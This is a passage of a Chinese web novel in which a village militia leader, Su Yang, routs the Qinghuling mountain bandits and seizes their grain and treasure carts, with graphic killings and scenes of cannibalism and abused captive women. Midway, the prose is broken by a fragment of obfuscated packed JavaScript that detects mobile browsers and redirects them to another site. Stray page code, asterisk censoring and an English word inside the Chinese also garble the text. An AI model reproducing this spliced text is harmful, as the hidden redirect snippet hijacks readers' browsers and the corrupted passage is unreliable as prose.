苏阳手下的乡勇就算练了好几天,也追不上。 苏阳也没指望追上。 他领着人追萧煞,是想跟着去青虎岭摸摸底。 看看能不能捞点油水。 这年头,谁会嫌银子烫手? 土匪们也不是傻子。 见苏阳这帮人杀气腾腾地追着麻当家不放,谁还敢往前凑? 他们之前又是冲锋,继续追击剩下的乡勇,早就累得不行了。 现在一看苏阳这帮人跑得飞快。 一个个赶紧往两边闪,有多远躲多远。 反正前面的山林多的是。 随便找个地方一猫,就能躲过去。 萧煞跑着跑着,感觉越来越不对劲。 他勒了勒马,回头一瞅。 这一瞧,气得差点从马背上栽下来。 之前还跟着他跑的上百个土匪,这会儿全不见了踪影。 第二百一十九章 周围只留下几个老油条,一个个灰头土脸的。 这几个**湖纵马疾驰。 钻山林不方便,只能硬着头皮跟着萧煞。 他们琢磨着,凭自己这一身骑术,不怕被追上。 暂且随麻当家混上一段时间。 青虎岭只有一条还算凑合的山路,勉强能骑马。 要不萧煞的马平时都放哪? 总不能在山脚下混日子? 半个钟头后。 萧煞领着几个老手,好不容易才逃回寨中。 “开门!快**开门!” 萧煞扯着嗓子吼道,声音都劈了。 不用他招呼,他手下的老匪就冲着寨墙上喊开了。 守门的土匪探头一瞅,顿时心凉了半截。 完了。 麻当家这是吃败仗了。 否则也不至于这般狼狈! 乌泱泱带了二百多弟兄下山,就回来了这么几个人。 这败得也太惨了! 萧煞的狼狈身影消失在山寨大门后,一个消息也像长了翅膀一样飞快传开: 这波官兵实力不容小觑,麻当家都顶不住! 青虎岭的土匪才来没多久,老匪不多。 新来的喽啰们一听这话,吓得腿都软了。 一个个手忙脚乱地收拾东西。 金银细软往包袱里一塞,准备随时跑路。 两百多兄弟全军覆没,寨子里还剩几个人? 加起来还不到半百人马。 守寨子已经没有意义,赶紧溜吧! 萧煞前脚刚进山寨,二当家就腆着脸迎了上来。 那张满是横肉的脸上,硬生生挤出了一个难看的笑容。 “麻哥,您这是咋了?弟兄们呢?” 萧煞眼皮子直抽抽,太阳穴突突地跳。 他恨不得一拳把二当家那张丑脸砸扁。 这**,哪壶不开提哪壶! 二当家这是故意恶心自己呢! 萧煞强压下心头的怒火,从牙缝里挤出一句话: “老二,少废话!火速打包家当!狗官兵厉害,咱们先低调一段时间!” “避风头?” 二当家冷笑一声,语气里满是嘲讽, “麻哥,你之前不是挺威风的吗?怎么这会儿怂了?” “你**……” 萧煞气得浑身发抖。 他真想一刀劈了二当家。 可看着周围那些喽啰,他硬生生忍住了。 “老子懒得跟你废话!” 萧煞瞪了二当家一眼,转身对其他喽啰吼道: “想活命的,跟大爷去发横财!咱们走!” 说完,他大步流星地朝山寨里走去。 可走了几步,他发现身后静悄悄的。 一个人也没跟上来。 萧煞猛地回过头,只见那些喽啰都站在原地。 一个个低着头,谁也不说话。 “你们……你们这是要**啊?!” 萧煞气急败坏地吼道。 “麻当家,我们不是要**。” 一个喽啰怯生生地说道, “我们只是……只是不想再跟着你了。” “啥?!” 萧煞如遭雷击,整个人都懵了。 他做梦也没想到,自己竟然会被手下给抛弃了。 “你们……你们这帮忘恩负义的白眼狼!” 萧煞指着那些喽啰,手指颤抖着,破口大骂。 可骂了半天,也没人理他。 那些喽啰都把头扭到一边,根本不看他。 萧煞彻底绝望了。 他知道,自己完了。 在这个弱肉强食的山寨里,他已经失去了人心。 “好!好!好!” 萧煞连说了三个“好”字,转身就走。 他心里憋着一口气,却又无处发泄。 只能暗暗发狠: 你们这帮王八蛋,早晚有一天会后悔的! 那一瞬间,二当家眼中闪过一丝狠厉。 他真想从背后给萧煞来一箭。 但最后还是忍住了。 他不能这么做。 至少现在不能。 在众多小弟面前,杀了萧煞。 只会让其他人寒心。 这是个危险的开端。 万一以后有哪个手下对自己不满,也学着来这么一下。 那可就完犊子了! 萧煞带着几个亲信,随便收拾了点值钱的东西,便急急忙忙撤离了寨子。 二当家看着萧煞的背影,嘴角露出一丝冷笑。 他等这一天,已经等了很久了。 现在,他终于如愿以偿地当上了麻当家。 “兄弟们!” 二当家转过身,对那些喽啰大声喊道, “青虎岭现在是咱们的了!想留下的,就跟着我!想走的,现在就可以走!” 喽啰们面面相觑,你看我,我看你。 谁也没想到二当家会这么说。 “二当家,咱们真的要留在这儿?” 一个喽啰小心翼翼地问道, “官兵要是打过来,咱们咋办?” “怕个鸟!” 二当家大手一挥, “咱们就在这 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这些财宝都是我的囊中之物! 苏阳搓了搓手,对石头喊道: “石头,带人进去看看,小心点,别往里走太深!”石头带着几个乡勇进了山寨探路,没一会儿就猫着腰跑了出来,还朝苏阳招了招手。 “二哥,没人,土匪都跑光了!” 苏阳一听,猛地一拍大腿,声音都大了几分: “好!” 他指着周阳: “你,调十名好手把守寨门,没我的命令,谁也不准进!” “得嘞!”周阳应了一声,点了十个精壮的汉子,就守在了寨门。 虽然土匪跑了,可苏阳也没傻乎乎地直接冲进去。 小心驶得万年船,谁知道土匪会不会耍花招? 他指挥小弟们列队站好,一步一个脚印地稳步推进。 这土匪山寨,一看就是刚建没多久,透着一股子粗糙劲儿,面积也不大。 苏阳带着人,没一会儿就转了个遍。 果然,连个土匪的影子都没了。 匪窝的后门大开,泥地上留着刚压出的车痕。 不用说,土匪肯定是赶着大车从后门溜了! “旭东,”苏阳叫过一个乡勇,“你领着兄弟们把守后门,小心土匪杀个回马枪。 第二百二十章 ” 他顿了顿,又提高了声音: “其他人,五人一组,给我仔仔细细地搜,看看山寨里还有没有值钱的玩意儿!” “是!” 劫后余生的乡勇们,一个个跟打了鸡血似的,士气高涨。 依照事先安排好的,五人一伍,由伍长带着,分头在山寨里翻箱倒柜。 没一会儿,一个伍长就急匆匆地跑回来报告: “阳哥儿,找到了山贼的储粮点!” “在哪儿?走,看看去!” 苏阳跟着这伍长,三步并作两步来到粮仓。 放眼望去,我的天! 一袋袋粮食堆得像小山一样,这哪是粮仓,简直就是粮山! 苏阳的眼睛都开始放光。 他以前只听说过金山银山,今天算是见着真的“粮山”了。 这可比金子银子实在多了,有了这些粮食,还怕饿肚子? 他粗略估摸了一下,这些粮食,少说也得有上千石! 粮仓旁边还有个库房。 里面倒是没啥稀奇的,都是些布匹、食盐之类的生活用品,一眼就能看出是山匪抢来的赃物。 “你们几个,过来!” 苏阳指着几个乡勇。 “从现在起,你们就守着这个仓库,没我的命令,谁也别想靠近!听清楚了吗?” “听清楚了!”几个乡勇齐刷刷地回答,一个个站得笔直。 “阳哥儿,我们这边……发现点情况……你赶紧来瞧瞧这情况!” 四獠子急匆匆地跑了过来,说话都结巴了。 苏阳心里一紧,赶紧跟着四獠子来到一间大屋子门口。 他往屋里一探头,眉头立马就皱了起来。 屋子里头,乌泱泱地挤了一大片女人。 这些女人一个个头发乱糟糟的,身上的衣服也破破烂烂,有些甚至都没穿衣服。 她们一个个神情麻木,目光呆滞,就像是丢了魂儿一样。 这种惨状,还用问是咋回事? 脚趾头都想得到。 苏阳攥紧了拳头,指甲都快嵌进肉里了。 这些女人,肯定是让土匪给祸害了! “四獠子,”苏阳的声音低沉得吓人,“你带两个人,给我守好这里,任何人都别想踏进一步!更不准欺负她们!听见没有?” “听见了!”四獠子的眼睛也红了,咬着牙应了一声。 紧挨着这间屋子,隔壁还关着十几个“肉票”。 一个个都吓得脸色惨白,浑身发抖。 这些人,苏阳也懒得管,直接让吕巡检带人处理。 正忙着,孔远山带着几个人跌跌撞撞地跑了过来。 苏阳一看他们的脸色,惨白惨白的,像是刚从鬼门关里爬出来似的。 “远山,咋了这是?出啥事了?”苏阳赶忙问。 “呕……呕……” 孔远山他们几个,扶着墙根儿,一个劲儿地干呕,差点没把隔夜饭都吐出来。 折腾了好半天,孔远山才缓过一口气,指着厨房的方向,断断续续地说: “超……阳哥儿……厨房……你……你去看看吧……呕……” 话还没说完,他又弯腰吐了起来。 苏阳哪还有心思问,拔腿就往厨房跑。 刚到门口,一股子恶臭味儿就冲了过来,差点把他熏个跟头。 他强忍着恶心,往里头一看,胃里顿时一阵翻江倒海。 只见房梁上挂着几具尸体,有的没了胳膊,有的没了腿,残缺不全。 案板上还放着一些没处理完的肉…… 苏阳就是再傻,也知道这是咋回事了。 这帮挨千刀的土匪,竟然**! 消息像风一样传开了,整个山寨都炸了锅。 有些胆大的,非要去厨房看个究竟。 结果,全都吐得稀里哗啦的。 这下,没人再怀疑了。 土匪**,这可不是说着玩的! 太**吓人了! 乡勇们一个个吓得脸色煞白,浑身直哆嗦。 他们一想到,要不是苏阳带着大伙儿打了胜仗,自己很可能就跟那些挂在房梁上的尸体一样,成了土匪的下酒菜,就忍不住一阵后怕。 多亏了把赖志成那个混蛋赶走了,要不然,现在大伙儿的坟头草都该老高了。 有人甚至开始小声嘀咕,等回了村,一定要让苏阳当村正。 …… 苏阳在山寨里转了一大圈,还是没找着放银子的地方。 他心里这个急啊,忍不住把石头叫过来问: “石头,咋回事?银库呢?土匪的银子都藏哪儿去了?” 石头一听,连忙跑过来: “二哥,我正要跟你说呢。那儿有栋破房子,看着像,但里面啥也没有,就地上有几个箱子印。” “在哪儿?快带我去!” 苏阳急吼吼地催促道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265988|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >石头领着苏阳,七拐八拐来到一间小屋前。 这屋子,门窗都大开着,地上乱七八糟的全是脚印。 屋角那儿,有几个清晰的箱子印,一看就知道之前这里放过几个大箱子,而且分量不轻。 “他奶奶的,这帮王八蛋,逃命还带着银子,真是要钱不要命!” 苏阳气得直跺脚。 他拼死拼活地跑到土匪窝里来,图个啥? 还不是为了土匪抢来的那些金银财宝! 结果,这帮孙子,竟然给他来了个釜底抽薪,连点碎银都不给他剩! 这口气,他可咽不下去! 想到这儿,苏阳把牙一咬,心一横。 不追到天涯海角,也要把这帮土匪给逮住! “石头,吹哨子,集合!” 苏阳大吼一声,声音都有些嘶哑了。 除了留下一伍人看守山寨,其他人全都跟着他,沿着地上新鲜的车辙印追了上去。 青龙村的乡勇们,虽然平时都是面朝黄土背朝天的庄稼汉。 可这山路,他们走得一点也不比土匪慢。 毕竟,青龙村的人,除了种地,就指着青岭过活。 以前村里穷,地里收成不好。 苏阳小时候,一到了青黄不接的时候,大人小孩就都往山上跑。 啥都吃! 树叶子,草根子,能填饱肚子的东西,都往嘴里塞。 更别说抓个兔子、掏个鸟蛋了,那都是家常便饭。 就这,还经常饿肚子呢! 那时候,苏阳就想,啥时候能顿顿吃饱饭就好了。 可现在呢? 青虎岭跟青岭比起来,那简直就是小巫见大巫。 青岭又高又陡,到处都是悬崖峭壁,走起来费劲得很。 青虎岭呢,山势平缓,能让马车走的路,能有多难走? 土匪赶着马车,本来就走不快。 何况还是上坡,马车走得就更慢了。 苏阳他们一路猛追,还不到半个时辰,就远远地听到了前面传来的动静。 “都给我小声点!别出声!跟紧了!” 苏阳压低声音,做了个噤声的手势。 他带着乡勇们,悄无声息地往前摸。 又走了一会儿,转过一道山梁。 苏阳终于看到了那帮土匪! 只见五十来个土匪,乱糟糟地挤在一起。 有的赶车,有的推车,乱成一团。 第二百二十一章 就这德行,还敢出来打家劫舍? 苏阳心里一阵冷笑,真是一帮乌合之众! 只顾着逃命,连个放哨的都没有。 土匪们乱哄哄的,压根就没注意到身后有人追了上来。 一直到苏阳他们靠近到百米之内,才被一个眼尖的土匪发现。 “二……二当家……后……后面有人……” 那土匪吓得话都说不利索了,指着苏阳他们,声音都变了调。 “慌什么!”二当家倒是挺镇定,“不就是一帮泥腿子吗?兄弟们,抄家伙,跟他们拼了!”“二当家的发话了,兄弟们上啊,弄死这帮**泥腿子!” 一个脸上横肉乱颤的土匪头目,把手里缺了刃的**一抡,扯着破锣嗓子嚎了一句。 “呼……” “**,老子裤子都快吓尿了,还以为是官兵的追兵,闹了半天是群乡巴佬!” “弄死他们!” 一群刚从猪圈里放出来的土匪,挥舞着五花八门的破烂兵器,嗷嗷怪叫。 也难怪他们有恃无恐。 青虎岭的土匪,手里沾着青龙村的人命怕是不下三位数。 即便刚入伙的,这阵子也跟着老匪们出去“做过买卖”,手上多少染了血。 谁能想到,今天居然被一群平日里随意欺负的泥腿子追得抱头鼠窜? 简直是活见鬼了! 十几个自以为是的土匪,争先恐后地冲了出去,想在二当家面前露露脸。 “弄死这帮不知天高地厚的土鳖!” 苏阳骑着从萧煞那里缴获的高头大马,稳坐如山,目光如电。 对面青虎岭的土匪阵中,竟然没有弓箭手? 苏阳嘴角微微上扬,心中有了计较。 “**手按兵不动!门板竖起来,**手准备!” 他可不想一通乱箭把这帮土匪吓回去。 真要逼得这帮家伙把装满财货的马车推下山沟,那可就得不偿失了! 这帮跟随二当家溜走的山贼,都是留在青虎岭山寨里看家的,没跟萧煞下过山。 他们哪里知道苏阳和乡勇们的厉害? 一看这帮泥腿子居然还知道竖起门板,当即就有几个土匪乐出了声。 “嘿,这帮孙子还挺惜命!” “竖门板有个鸟用,大爷一脚就能给你踹个窟窿!” “等着瞧好吧您呐!” 结果…… 脚还没来得及抬呢,门板缝里突然钻出一排闪着寒光的枪尖! 噗!噗!噗! 一连串让人头皮发麻的闷响。 几个冲在最前面的土匪,甚至还没来得及发出一声哀嚎,就感觉胸口一阵冰凉。 似乎……有什么冰冷而坚硬的东西扎了进来! **! 这玩意……又粗又长还硬邦邦的…… 这感觉…… 以前可从没体会过啊…… 带着满肚子来不及问出口的疑惑,带着对人世间深深的眷恋和不舍,带着面对死亡的恐惧。 一个个土匪眼珠子翻白,两腿一蹬,就此告别了这让他们又爱又恨的世界。 十几个土匪,冲得有快有慢,死也有个先后。 前面的被捅死,后面的还在往前冲。 眨眼之间,就和前面的倒霉蛋做了伴,成了一堆还在冒热气的尸体! 山下那一仗,让青龙村的乡勇们脱胎换骨。 从一群连新兵蛋子都算不上的泥腿子,迅速成长为见了血的准老兵。 至少**的时候,手没那么抖了,虚汗都少流了。 青虎岭的二当家,还有其他土匪,一个个眼珠子瞪得像铜铃,下巴差点掉到地上。 这**还是人吗? 平时那些任人宰割的泥腿子,啥时候变得这么厉害了? 不等他们回过神来,对面的乡勇们已经缓缓逼近。 “一,二,一!一,二,一!” 苏阳扯着嗓子喊着口号,指挥队伍。 整个队伍,阵型丝毫不乱。 门板顶在最前面,像一堵缓缓移动的铁墙。 枪兵紧追不舍,寒光闪闪的枪尖蓄势待发。 **手护着队伍两翼,警惕地观察着周围。 刀盾手压阵,防止土匪从后面偷袭。 整个队伍,就这么一步一步,稳稳当当地压向剩下的土匪。 “兄弟们,别**愣着了!这帮泥腿子就会这几下子,保持距离就能稳赢!有弓箭的放箭,空手的兄弟抄起石块开干!谁**要是敢后退,老子先砍了他!” 二当家到底是见过世面的,一看这架势,立马想到了应对之策。 他这一嗓子,也把吓傻了的土匪们吼醒了。 青虎岭别的不多,石头管够。 土匪们立马弯腰捡起石头,没头没脑地朝苏阳他们砸过去! 还有几个平日里练过几手的土匪, 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来之前,苏阳就说过,上了战场,他的话就是军令,谁敢不听,决不轻饶! 更何况,之前苏阳当着全村人的面,把和四给宰了。 那血淋淋的场面,谁看了不害怕? 苏阳这一手,也算是杀鸡儆猴。 平日里,他就在村里立规矩,谁不听话就收拾谁。 一点一滴,积攒下来的就是威信。 要不然,今天这场面,还真不一定能镇得住。 当然,光靠威信也不行。 傻站着当靶子,再有威信也白搭。 “**手,给老子狠狠地射!” **手早就憋了一肚子火,听到苏阳的命令,立马扣动**。 嗖嗖嗖…… **箭如同长了眼睛一般,从木门与**之间的空隙窥视,朝着土匪们飞了过去! 飞石如雨般砸来,两边离得有多近就不用说了。 如此贴近的范围,几乎是箭无虚发。 一轮齐射,冲在前排的喽啰纷纷倒地。 **箭的威力,可比石头大多了! 惨叫声,哀嚎声,响成一片。 中箭的土匪,有的当场毙命,有的捂着伤口在地上翻滚哀嚎,死状凄惨。 第二百二十二章 跟随二当家溜走的山贼,总共就五十来个。 之前冲锋的时候,就稀里糊涂地送了十几个人头。 这一下**齐射,又干掉了十来个。 眨眼之间,就**一半! 一半的伤亡,别说这帮乌合之众的土匪,就是训练有素的官兵也受不了。 “他奶奶的!这帮泥腿子手里竟然有真家伙!风紧,扯呼!” 根本不用二当家招呼,剩下的土匪,一个个吓得魂飞魄散,掉头就跑! 开玩笑,再不跑,等着被射成刺猬吗? 青虎岭的二当家气得七窍生烟,眼珠子都红了。 “你们这帮王八羔子,跑个屁啊!老子的钱!老子的货!都**不要了吗?” 二当家气急败坏地吼叫着,可是根本没人听他的。 眼看满满几大车的财货就要落到苏阳手里,二当家心头的怒火再也压抑不住,一股邪火直冲脑门。 “**,爷爷我抢不到的玩意,谁也别想得到!兄弟们,把马车推下去!都给老子推下去!让他们一根**都捞不着!”能混到青虎岭二当家的位置,没两把刷子怎么行? 这家伙,心眼多得跟马蜂窝似的,是个老阴比。背地里收买人心,硬生生把麻当家给架空了。 这不,麻当家刚咽气,他立马跳出来,扯旗当了老麻。 眼瞅着煮熟的鸭子要飞,二当家心里那叫一个气啊,火苗子噌噌往上窜,恨不得把苏阳给生吞活剥了。 可恨归恨,眼下这局面,想把财宝抢回来,那是门儿也没有。 与其便宜了苏阳这帮泥腿子,还不如…… 二当家眼珠子一转,心一横,干脆一不做二不休,全给扔山沟里去! 他可不是没脑子的莽夫,这么干,自然有他的算计。 这片儿的地形,他早就摸透了!马车真要掉下去,苏阳他们想把财货弄上来,不绕个大圈子,想都别想! 就这么一耽搁,足够他杀个回马枪。到时候,出其不意,打这帮泥腿子一个措手不及,非把他们屎都打出来不可! 退一万步说,就算苏阳他们真把财货都捞上来了,那又怎么样? 那么高的山涧,摔下去还不都得散架了? 天一黑,他再带着弟兄们摸回来,到时候……哼哼,这黑灯瞎火的,还不是他们土匪说了算? 二当家越想越得意,仿佛已经看到苏阳哭爹喊娘的倒霉样。 只是,他算盘打得虽响,可现实却不一定买账。 他手底下那些人,早就不是当初跟着他出生入死的兄弟了。 新招来的那帮家伙,一个个滑得跟泥鳅似的,见风使舵的本事比谁都强。 刚才那一仗,别说新来的,就连几个老喽啰都吓破了胆,一个个跑得比兔子还快。 二当家气得直跺脚,可也只能眼睁睁看着他们逃走。 最后,身边就剩下五六个还算忠心的老部下。 人手不够,想把五辆马车都推下山涧,根本就是痴人说梦。 更何况,还是在这种鬼地方,稍有不慎,自己都得掉下去。 几个人正忙活着,突然,一声惨叫,把所有人都吓了一跳。 这声音…… 咋听着这么像二当家的? 众人心里“咯噔”一下,齐刷刷地扭头看去。 只见二当家捂着后背,一脸痛苦地跪倒在地,身下已经流了一滩血。 一支**箭,从他后心穿过,只留下箭羽在外面微微颤动。 “二当家!”一个老喽啰惊呼一声,扑上去想要扶住他。 可二当家已经没了气息,身体软绵绵地倒了下去。 “**,还愣着干啥?跑啊!” 另一个老喽啰怪叫一声,扭头就跑。 其他人这才反应过来,一个个撒丫子狂奔,生怕慢了一步,就成了苏阳的箭下亡魂。 苏阳早就料到这帮土匪会来这一手。 从他们开始推马车,苏阳的眼睛就没离开过二当家。 他算准了二当家要使坏,提前一步,拉开了**机。 果然,二当家前脚刚露出要动手的迹象,苏阳后脚就松开了**。 **箭离弦,正中二当家后心。 这可不是闹着玩的,苏阳这段时间可没少下功夫练**。 十几米的距离,闭着眼睛都能射中,更何况是活生生的人? 二当家一死,土匪们更没心思恋战了。 什么财宝,什么马车,统统都不要了。 活着,比啥都强! 原本他们还指望着用财货吸引苏阳的注意力,好趁机逃跑。 现在倒好,二当家一死,他们连最后的希望都没了。 要是再不跑,等苏阳缓过神来,他们一个 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“嗯。”苏阳点了点头。 孔远山心里一喜,知道苏阳这是信任他,顿时来了精神。 “你们两个,谁先说实话,谁就能活命,要是敢撒谎……” 孔远山故意拉长了声音,从腰间拔出一把**,在手里比划了几下。 “另一个,就等着下油锅吧!” 两个土匪吓得脸色煞白,浑身直哆嗦。 孔远山得意地看了陈木生一眼,那意思:学着点,这叫攻心! 陈木生撇了撇嘴,没搭理他。 战场上真刀**干仗的时候不见你,这会儿倒是来劲了! “旭东,把那些尸体都给我处理了,别留在这儿碍眼。” “周阳,你带人去检查一下马车,看看有没有损坏的地方,能不能用。” “明志,你带人去看看咱们有没有受伤的兄弟,有的赶紧包扎。对了,别光顾着咱们的人,其他村的也要看看,都是乡里乡亲的。” 苏阳有条不紊地安排着,完全没把两个俘虏放在心上。 在他看来,这两个家伙迟早会招供,只不过是时间问题罢了。 第二百二十三章 他现在更关心的,是怎么把这些财货运回去。 土匪身上的财物,苏阳让大伙儿分了。 可马车上的那些箱子,他却不打算现在打开。 原因很简单:人多眼杂。 这里除了他带来的十几个心腹,剩下的都是青龙村的乡勇。 这些人里头,有跟他关系好的,也有跟他不对付的。 甚至,还有赖志成的堂弟,卓明远! 苏阳可不想因为这些财货,跟乡亲们闹出什么矛盾。 马车上的箱子,一个个都沉甸甸的,不用打开也知道,里面装的肯定是金银财宝。 这么多钱,谁见了不眼红? 万一有人起了贪念,或者有人把消息泄露出去,那可就麻烦了。 苏阳可不想惹祸上身。 再说了,就算没人敢当场动手,可这消息要是传出去,还不得闹翻天? 村正们早就跟他through过底,吕巡检那可是个出了名的铁公鸡。 想从他手里抠出点油水来,比登天还难。 要是让他知道自己得了这么一大笔财宝,留条活路也算仁慈了。 苏阳才不信吕巡检会这么好心。 眼下最要紧的,不是清点财物,而是怎么把这些东西安全运回青龙村。 必须想个万全之策,既要保证财货的安全,又要避免走漏风声…… 苏阳皱着眉头,陷入了沉思。孔远山一路小跑着回来,准备在苏阳面前好好表现一番。 可他刚跑到近前,就傻眼了。 陈木生那小子,竟然比他先到一步! 不仅如此,孔远山还发现,自己辛辛苦苦审出来的那些口供,陈木生那边早就一清二楚。 反倒是陈木生,掌握了不少他压根就不知道的内幕! 这让孔远山心里很不是滋味。 就拿麻当家和二当家闹翻这事来说吧,他好不容易才从俘虏嘴里撬出来,结果陈木生那边早就知道了。 更让他郁闷的是,关于另一条下山小路的事,他竟然一点都没问出来! “石头,你打听那条小路做啥?这不是浪费时间嘛!” 孔远山忍不住抱怨了一句,语气中带着一丝不服气。 陈木生瞥了他一眼,压根就没搭理他,自顾自地跟苏阳汇报着情况。 苏阳也没理会孔远山。 这孔远山,平时看着挺精明,可心思都用到哪儿去了? 有这闲工夫跟同伴较劲,倒不如多花点心思在正事上! “石头,那条路具体什么情况?通往何处?” 苏阳直接问陈木生。 “路况不太好,比较窄。” 陈木生摸了摸下巴: “那几个土匪说,大车过不去,不过,小心点推着空车走,也不是不行,就是费点事……” 苏阳没有完全相信陈木生的话。 他走到那两个被俘虏的土匪跟前,又亲自详细地询问了一番。 他要知道那条小路的具体走向,沿途的地形地貌,以及有没有什么特别需要注意的地方。 每一个细节,苏阳都问得清清楚楚。 直到确认了所有信息,他才放下心来。 苏阳转过身,看着陈木生: “石头,现在有个重要的任务交给你。你叫上十个自家兄弟,再从乡勇里选二十个身手利落的,把这几辆马车给我安全送回青龙村。记住,要走那条小路,这事你能办妥吗?” 既然还有条小道能溜走,那还等什么? 直接把马车运回去才是正经事! 陈木生一听,立马来了精神。 马车里装的是什么? 刚才审问的时候,那几个土匪已经全招了。 金银珠宝,绫罗绸缎…… 具体有多少,谁也说不准,但绝对是一笔让人眼红的巨款! 为了这堆金银,陈木生豁出去了。 别说是赶马车,就是让他现在去跟阎王爷打一架,他也绝不含糊! “二哥,你就瞧好吧!谁要是敢动这批货的心思,我陈木生第一个不答应!” 陈木生攥紧了拳头,眼睛里闪着凶狠的光。 苏阳走到陈木生身边,用力拍了拍他的肩膀: “石头,我跟你说句掏心窝子的话。钱财乃身外之物,没了可以再挣,可兄弟们的命,那是多少钱都换不来的!你给我记住了,这趟差事,安全第一!要是真遇到什么危险,保命要紧,明白我的意思吗?” 陈木生深深地看了苏阳一眼,郑重地点了点头。 他挑选了三十个精壮汉子,套上马车,沿着那条隐蔽的小路,缓缓地消失在了山林之中。 为了以防万一,苏阳提高了声音,又补充了一句: “石头,这事关系重大,绝不能走漏半点 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他既渴望得到苏阳的重用,又担心自己能力不够,会把事情搞砸。 万一路上真遇到什么危险,他能应付得了吗? 现在好了,这趟押送财宝的差事落在了陈木生头上,他孔远山只需要跟在苏阳身边就行。 想到这,孔远山的心里,竟然隐隐有些庆幸。 “乡亲们,都听我说!” 苏阳突然提高了嗓门,把所有人的注意力都吸引了过来: “一会回到老巢,谁也不准把刚才发生的事情说出去,一个字都不行!都记住了吗?” “记住了!” 众人齐声回答。 谁敢说没背下来? 没看到苏阳正盯着卓明远吗? 卓明远吓得一哆嗦,赶紧大声表态。 他可不想在这个节骨眼上触苏阳的霉头。 在没有确凿证据的情况下,苏阳也不好直接对卓明远做什么,这不符合他一贯的作风。 “好了,现在,大伙儿都往自己身上抹点血,装装样子。” 苏阳又吩咐道: “等会儿要是有人问起来,就说咱们掉进贼人的圈套,死伤惨重,几十个兄弟都没了! 第二百二十四章 听明白了吗?” “明白了!” 众人齐声应道。 虽说没读过什么书,但大家伙儿都不傻。 苏阳这话一说,大多数人都明白了他的意思。 就算有几个脑子不太灵光的,也不敢多问。 脑子笨的人,往往比较有自知之明。 自己想不明白不要紧,听话照做总没错! …… 大约过了小半个时辰。 苏阳带着一群“伤兵”,回到了山寨。 刚一进后门,苏阳的脸色就沉了下来。 只见仓库门口,围了一大群人,吵吵嚷嚷,乱成了一锅粥。 其中,清水村的乡勇们情绪最为激动,一个个挥舞着手中的武器,叫嚣着要冲进仓库。 “这山寨是咱们大伙儿一起打下来的,凭什么不让咱们进?” “对!山寨里的东西,见者有份!你们青龙村的人,赶紧给老子让开!” “再不让开,老子们可就不客气了!” “……” 这群人身后不远的地方,临溪村的村正王麻山带着他的人,正冷眼旁观。 这老家伙,打得一手好算盘。 他带着临溪村的乡勇,一直远远地跟在苏阳他们后面,既躲过了土匪的袭击,又想等着捡现成的便宜。 苏阳一看这架势,就知道是怎么回事了。 追击山贼的路上,他特意留下了四獠子,领着一队民兵守住老巢。 现在看来,是那些之前跟在后面的乡勇们上来了。 这些人,一定是看到了粮仓里的粮食和货仓里的货物,起了贪心。 尤其是清水村的那些乡勇。 之前在山脚下,清水村的村正被土匪给杀了。 这些人没了领头的,就跟没头苍蝇似的,四处乱窜。 最后还是跟在苏阳他们后面,才捡回了一条命。 现在倒好,看到点好处,就把之前的救命之恩忘得一干二净。 苏阳冷冷地扫了王麻山一眼。 老东西,想当个吃瓜群众,从中渔利? 你想得美! 搞清楚了现场的情况,苏阳并没有急着上前去制止那些闹事的乡勇。 他悄无声息地举起了手中的蹬张弩,瞄准了人群……“都他娘的给老子闭嘴!” 一声炸雷也似的怒吼,震得人耳膜嗡嗡直响,连房梁上的灰尘都扑簌簌往下掉。 不用看,准是苏阳。 刚刚还闹哄哄你推我搡的人群,瞬间安静得能听见针掉地上的声音。 所有人都像被按了暂停键的木偶,僵在那里。 脖子倒是还硬挺着,一个个伸得老长,像一群待宰的鸭子,就差嘎嘎叫两声了。 没办法,谁让苏阳手里有家伙呢? 还是能要人命的家伙! 这帮人里头,大都是一路跟在苏阳屁股后头混上山的墙头草。 好听点叫乡勇,难听点就是一群乌合之众。 早先在山脚下,清水村的村正让土匪给宰了。 群龙无首,清水村这帮人更是乱成了一锅粥。 要不是最后跟着苏阳他们,能不能捡回一条小命都难说。 这帮家伙倒好,属狗脸的,说翻脸就翻脸。 一瞅见山寨仓库里堆满了粮食,眼睛立马就红了。 “穷生奸计,富长良心”,这话虽说难听,倒也有几分道理。 谁还不知道饿肚子的滋味? 苏阳冷眼扫过这群人,心里跟明镜似的。 可他娘的谁又不知道这是老子的东西? 真要饿急了,谁还跟你讲什么仁义道德?放屁! 可老子的东西,也是你们这帮杂碎能惦记的? 当然,要是好声好气来借,他苏阳也不是那种吃独食的人,多少都会给点。 可你们这帮家伙,人多就想硬抢? 真当我苏阳是泥捏的不成? 苏阳的视线,死死盯在一个肥头大耳的家伙身上。 这家伙,一看就不是个下地干活的庄稼汉。 油光满面,一身横肉,和周围那些面有菜色的乡勇形成鲜明对比。 不用问,这肯定是带头闹事的孙子! 苏阳眼底闪过一丝寒光,悄无声息地举起了手中的蹬张弩,黑洞洞的弩口对准了肥头大耳。 甚至都懒得再跟这帮人废话。 对付这种人渣,最好的办法就是送他上路! 乜圆子还在那儿上蹿下跳,试图把水搅浑: “各位,各位!大家伙儿可都瞧见了,这青龙村是啥意思?吃独食啊!咱们拼死拼活,到头来,好处全让他们给占了?天底下哪有这样的道理!” 他这一嗓子,还真就管用了。 原本就眼红的那帮人,被他这么一挑拨,更是按捺不住了。 其中几个胆子大的,已经开始往仓库门口挤,看那架势,是想硬闯了。 一片混乱中,一个声音突兀地响起,带着几分虚假的笑意: “哎呦,这不是苏老弟嘛!几日不见,老弟风采更胜往昔啊!这身手,这气魄,真是让老哥我佩服得五体投地!” 不用回头,苏阳也知道是王麻山那老狐狸。 他心里冷笑,这老东西,倒是会见风使舵。 之前带着临溪村的人躲在后面,坐山观虎斗,眼瞅着占不到便宜,又想来当和事佬? 哪有那么便宜的事! 苏阳没搭理他,眼睛依旧死死盯着乜圆子。 那眼神,就像是盯着一只待宰的肥猪。 被苏阳这么一盯,乜圆子也有些心虚。 可仗着人多势众,他还是硬着头皮,梗着脖子,继续叫嚣: “咋的,我说的不对吗?有本事你让大伙儿评评理!” 王麻山一看这情形,心里“咯噔”一下。 